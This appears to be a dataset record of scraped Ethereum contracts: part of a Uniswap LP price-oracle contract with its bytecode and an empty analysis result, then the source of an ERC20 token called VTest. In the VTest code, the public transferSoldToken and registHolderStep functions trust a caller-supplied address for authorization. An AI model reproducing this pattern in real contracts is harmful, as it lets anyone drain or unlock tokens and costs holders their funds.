require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized"); _; } address public immutable src; // Price source // hop and zph are packed into single slot to reduce SLOADs; // this outweighs the cost from added bitmasking operations. uint8 public stopped; // Stop/start ability to update uint16 public hop = 1 hours; // Minimum time in between price updates uint232 public zph; // Time of last price update plus hop bytes32 public immutable wat; // Label of token whose price is being tracked // --- Whitelisting --- mapping (address => uint256) public bud; modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; } struct Feed { uint128 val; // Price uint128 has; // Is price valid } Feed internal cur; // Current price (mem slot 0x3) Feed internal nxt; // Queued price (mem slot 0x4) // --- Data --- uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals) uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals) address public orb0; // Oracle for token0, ideally a Medianizer address public orb1; // Oracle for token1, ideally a Medianizer // --- Math --- uint256 constant WAD = 10 ** 18; function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow"); } function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow"); } function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow"); } // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 function sqrt (uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event Step(uint256 hop); event Stop(); event Start(); event Value(uint128 curVal, uint128 nxtVal); event Link(uint256 id, address orb); event Kiss(address a); event Diss(address a); // --- Init --- constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public { require(_src != address(0), "UNIV2LPOracle/invalid-src-address"); require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address"); wards[msg.sender] = 1; emit Rely(msg.sender); src = _src; wat = _wat; uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18"); UNIT_0 = 10 ** dec0; uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18"); UNIT_1 = 10 ** dec1; orb0 = _orb0; orb1 = _orb1; } function stop() external auth { stopped = 1; delete cur; delete nxt; zph = 0; emit Stop(); } function start() external auth { stopped = 0; emit Start(); } function step(uint256 _hop) external auth { require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop"); hop = uint16(_hop); emit Step(_hop); } function link(uint256 _id, address _orb) external auth { require(_orb != address(0), "UNIV2LPOracle/no-contract-0"); if(_id == 0) { orb0 = _orb; } else if (_id == 1) { orb1 = _orb; } else { revert("UNIV2LPOracle/invalid-id"); } emit Link(_id, _orb); } // For consistency with other oracles. function zzz() external view returns (uint256) { if (zph == 0) return 0; // backwards compatibility return sub(zph, hop); } function pass() external view returns (bool) { return block.timestamp >= zph; } function seek() internal returns (uint128 quote) { // Sync up reserves of uniswap liquidity pool UniswapV2PairLike(src).sync(); // Get reserves of uniswap liquidity pool (uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves(); require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves"); // All Oracle prices are priced with 18 decimals against USD uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD) require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price"); uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD) require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price"); // Get LP token supply uint256 supply = ERC20Like(src).totalSupply(); // This calculation should be overflow-resistant even for tokens with very high or very // low prices, as the dollar value of each reserve should lie in a fairly controlled range // regardless of the token prices. uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert if supply == 0 require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow"); quote = uint128(preq); // WAD } function poke() external { // Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy. uint256 hop_; { // Block-scoping these variables saves some gas. uint256 stopped_; uint256 zph_; assembly { let slot1 := sload(1) stopped_ := and(slot1, 0xff ) hop_ := and(shr(8, slot1), 0xffff) zph_ := shr(24, slot1) } // When stopped, values are set to zero and should remain such; thus, disallow updating in that case. require(stopped_ == 0, "UNIV2LPOracle/is-stopped"); // Equivalent to requiring that pass() returns true. // The logic is repeated instead of calling pass() to save gas // (both by eliminating an internal call here, and allowing pass to be external). require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed"); } uint128 val = seek(); require(val != 0, "UNIV2LPOracle/invalid-price"); Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later. cur = cur_; nxt = Feed(val, 1); // The below is equivalent to: // // zph = block.timestamp + hop // // but ensures no extra SLOADs are performed. // // Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop) // will not overflow (even a 232 bit value) for a very long time. // // Also, we know stopped was zero, so there is no need to account for it explicitly here. assembly { sstore( 1, add( // zph value starts 24 bits in shl(24, add(timestamp(), hop_)), // hop value starts 8 bits in shl(8, hop_) ) ) } // Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs. emit Value(cur_.val, val); // Safe to terminate immediately since no postfix modifiers are applied. assembly { stop() } } function peek() external view toll returns (bytes32,bool) { return (bytes32(uint256(cur.val)), cur.has == 1); } function peep() external view toll returns (bytes32,bool) { return (bytes32(uint256(nxt.val)), nxt.has == 1); } function read() external view toll returns (bytes32) { require(cur.has == 1, "UNIV2LPOracle/no-current-value"); return (bytes32(uint256(cur.val))); } function kiss(address _a) external auth { require(_a != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a] = 1; emit Kiss(_a); } function kiss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a[i]] = 1; emit Kiss(_a[i]); } } function diss(address _a) external auth { bud[_a] = 0; emit Diss(_a); } function diss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { bud[_a[i]] = 0; emit Diss(_a[i]); } } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610924565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610948565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3e565b6102d4610b44565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b68565b6102d4610b7a565b61018a610c40565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cb0565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e3f565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ee4565b610223610f7b565b6103a4610f8a565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f93565b6102d4611029565b6103f0611076565b604080519115158252519081900360200190f35b61040c61108f565b604080516001600160e81b039092168252519081900360200190f35b6104306110a5565b6040805161ffff9092168252519081900360200190f35b6101806110b4565b6102d46004803603602081101561046557600080fd5b50356001600160a01b031661113b565b61022361114d565b6101806004803603602081101561049357600080fd5b50356001600160a01b031661115c565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f69732d73746f707065640000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f6e6f742d7061737365640000000000000000604482015290519081900360640190fd5b5050600061067761125d565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f696e76616c69642d70726963650000000000604482015290519081900360640190fd5b6106dc6118ee565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610876576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b60016002600085858581811061088857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e957fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000a478c2975ab1ea89e8196811f51a7b7ade33eb1181565b3360009081526020819052604090205460011461099a576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b61ffff8111156109f1576040805162461bcd60e51b815260206004820152601960248201527f554e4956324c504f7261636c652f696e76616c69642d686f7000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a90576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600060026000858585818110610aad57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0e57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a93565b7f554e49563244414945544800000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc85760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2f576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c905760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610d02576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116610d5d576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b81610d8257600580546001600160a01b0319166001600160a01b038316179055610df8565b8160011415610dab57600680546001600160a01b0319166001600160a01b038316179055610df8565b6040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f696e76616c69642d69640000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e91576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f36576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fe5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104b57506000610c3d565b60015461107190630100000081046001600160e81b031690610100900461ffff166116dc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611106576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111ae576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116611209576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b60007f000000000000000000000000a478c2975ab1ea89e8196811f51a7b7ade33eb116001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506000807f000000000000000000000000a478c2975ab1ea89e8196811f51a7b7ade33eb116001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d606081101561135857600080fd5b50805160209091015190925090506001600160701b0382161580159061138757506000816001600160701b0316115b6113d8576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f696e76616c69642d72657365727665730000604482015290519081900360640190fd5b600554604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d602081101561144757600080fd5b50519050806114875760405162461bcd60e51b81526004018080602001828103825260248152602001806119066024913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b1580156114cc57600080fd5b505afa1580156114e0573d6000803e3d6000fd5b505050506040513d60208110156114f657600080fd5b50519050806115365760405162461bcd60e51b81526004018080602001828103825260248152602001806119706024913960400191505060405180910390fd5b60007f000000000000000000000000a478c2975ab1ea89e8196811f51a7b7ade33eb116001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b5051905060007f0000000000000000000000000000000000000000000000000de0b6b3a76400006115f5856001600160701b03891661173a565b816115fc57fe5b04905060007f0000000000000000000000000000000000000000000000000de0b6b3a764000061163585886001600160701b031661173a565b8161163c57fe5b04905060008361166e671bc16d674ec8000061166061165b878761173a565b6117a6565b6001600160801b031661173a565b8161167557fe5b049050600160801b81106116d0576040805162461bcd60e51b815260206004820152601c60248201527f554e4956324c504f7261636c652f71756f74652d6f766572666c6f7700000000604482015290519081900360640190fd5b98975050505050505050565b80820382811115611734576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b92915050565b60008115806117555750508082028282828161175257fe5b04145b611734576040805162461bcd60e51b815260206004820152601a60248201527f554e4956324c504f7261636c652f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b6000816117b5575060006118e9565b816001600160801b82106117ce5760809190911c9060401b5b6801000000000000000082106117e95760409190911c9060201b5b64010000000082106118005760209190911c9060101b5b6201000082106118155760109190911c9060081b5b61010082106118295760089190911c9060041b5b6010821061183c5760049190911c9060021b5b600882106118485760011b5b600181858161185357fe5b048201901c9050600181858161186557fe5b048201901c9050600181858161187757fe5b048201901c9050600181858161188957fe5b048201901c9050600181858161189b57fe5b048201901c905060018185816118ad57fe5b048201901c905060018185816118bf57fe5b048201901c905060008185816118d157fe5b0490508082106118e157806118e3565b815b93505050505b919050565b60408051808201909152600080825260208201529056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f6e6f742d617574686f72697a656400000000554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a26469706673582212206c71ea5b4a3564b81590e23af73a03746aee6212e2106a64806d6047deb00c0b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,889
0x36b786d6518c52d01a11a10b69b90b61152b4048
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; event Burn(address _address, uint256 _value); /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * Destroy tokens * Remove `_value` tokens from the system irreversibly * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender totalSupply_ = totalSupply_.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Subtract from the sender&#39;s allowance totalSupply_ = totalSupply_.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; emit OwnershipTransferred(owner, newOwner); } } /** * @title VTest * @dev Token that implements the erc20 interface */ contract VTest is StandardToken, Ownable { address public icoAccount = address(0x8Df21F9e41Dd7Bd681fcB6d49248f897595a5304); // ICO Token holder address public marketingAccount = address(0x83313B9c27668b41151509a46C1e2a8140187362); // Marketing Token holder address public advisorAccount = address(0xB6763FeC658338A7574a796Aeda45eb6D81E69B9); // Advisor Token holder mapping(address => bool) public owners; string public name = "VTest"; // set Token name string public symbol = "VT"; // set Token symbol uint public decimals = 18; uint public INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals)); // set Token total supply mapping(address => bool) public icoProceeding; // ico manage bool public released = false; // all lock uint8 public transferStep = 0; // avail step bool public stepLockCheck = true; // step lock mapping(uint8 => mapping(address => bool)) public holderStep; // holder step event ReleaseToken(address _owner, bool released); event ChangeTransferStep(address _owner, uint8 newStep); /** * Constructor function * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { require(msg.sender != address(0)); totalSupply_ = INITIAL_SUPPLY; // Set total supply balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); super.transfer(icoAccount, INITIAL_SUPPLY.mul(45).div(100)); // 45% allocation to ICO account super.transfer(marketingAccount, INITIAL_SUPPLY.mul(15).div(100)); // 15% allocation to Marketing account super.transfer(advisorAccount, INITIAL_SUPPLY.mul(10).div(100)); // 10% allocation to Advisor account // set owners owners[msg.sender] = true; owners[icoAccount] = true; owners[marketingAccount] = true; owners[advisorAccount] = true; holderStep[0][msg.sender] = true; holderStep[0][icoAccount] = true; holderStep[0][marketingAccount] = true; holderStep[0][advisorAccount] = true; } /** * ICO list management */ function registIcoAddress(address _icoAddress) onlyOwner public { require(_icoAddress != address(0)); require(!icoProceeding[_icoAddress]); icoProceeding[_icoAddress] = true; } function unregisttIcoAddress(address _icoAddress) onlyOwner public { require(_icoAddress != address(0)); require(icoProceeding[_icoAddress]); icoProceeding[_icoAddress] = false; } /** * Token lock management */ function releaseToken() onlyOwner public { require(!released); released = true; emit ReleaseToken(msg.sender, released); } function lockToken() onlyOwner public { require(released); released = false; emit ReleaseToken(msg.sender, released); } function changeTransferStep(uint8 _changeStep) onlyOwner public { require(transferStep != _changeStep); require(_changeStep >= 0 && _changeStep < 10); transferStep = _changeStep; emit ChangeTransferStep(msg.sender, _changeStep); } function changeTransferStepLock(bool _stepLock) onlyOwner public { require(stepLockCheck != _stepLock); stepLockCheck = _stepLock; } /** * Check the token and step lock */ modifier onlyReleased() { require(released); _; } modifier onlyStepUnlock(address _funderAddr) { if (!owners[_funderAddr]) { if (stepLockCheck) { require(checkHolderStep(_funderAddr)); } } _; } /** * Regist holder step */ function registHolderStep(address _contractAddr, uint8 _icoStep, address _funderAddr) public returns (bool) { require(icoProceeding[_contractAddr]); require(_icoStep > 0); holderStep[_icoStep][_funderAddr] = true; return true; } /** * Check the funder step lock */ function checkHolderStep(address _funderAddr) public view returns (bool) { bool returnBool = false; for (uint8 i = transferStep; i >= 1; i--) { if (holderStep[i][_funderAddr]) { returnBool = true; break; } } return returnBool; } /** * Override ERC20 interface funtion, To verify token release */ function transfer(address to, uint256 value) public onlyReleased onlyStepUnlock(msg.sender) returns (bool) { return super.transfer(to, value); } function allowance(address owner, address spender) public onlyReleased view returns (uint256) { return super.allowance(owner,spender); } function transferFrom(address from, address to, uint256 value) public onlyReleased onlyStepUnlock(msg.sender) returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public onlyReleased returns (bool) { return super.approve(spender,value); } // Only the owner can manage burn function function burn(uint256 _value) public onlyOwner returns (bool success) { return super.burn(_value); } function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) { return super.burnFrom(_from, _value); } function transferSoldToken(address _contractAddr, address _to, uint256 _value) public returns(bool) { require(icoProceeding[_contractAddr]); require(balances[icoAccount] >= _value); balances[icoAccount] = balances[icoAccount].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(icoAccount, _to, _value); return true; } function transferBonusToken(address _to, uint256 _value) public onlyOwner returns(bool) { require(balances[icoAccount] >= _value); balances[icoAccount] = balances[icoAccount].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(icoAccount, _to, _value); return true; } function transferAdvisorToken(address _to, uint256 _value) public onlyOwner returns (bool) { require(balances[advisorAccount] >= _value); balances[advisorAccount] = balances[advisorAccount].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(advisorAccount, _to, _value); return true; } }
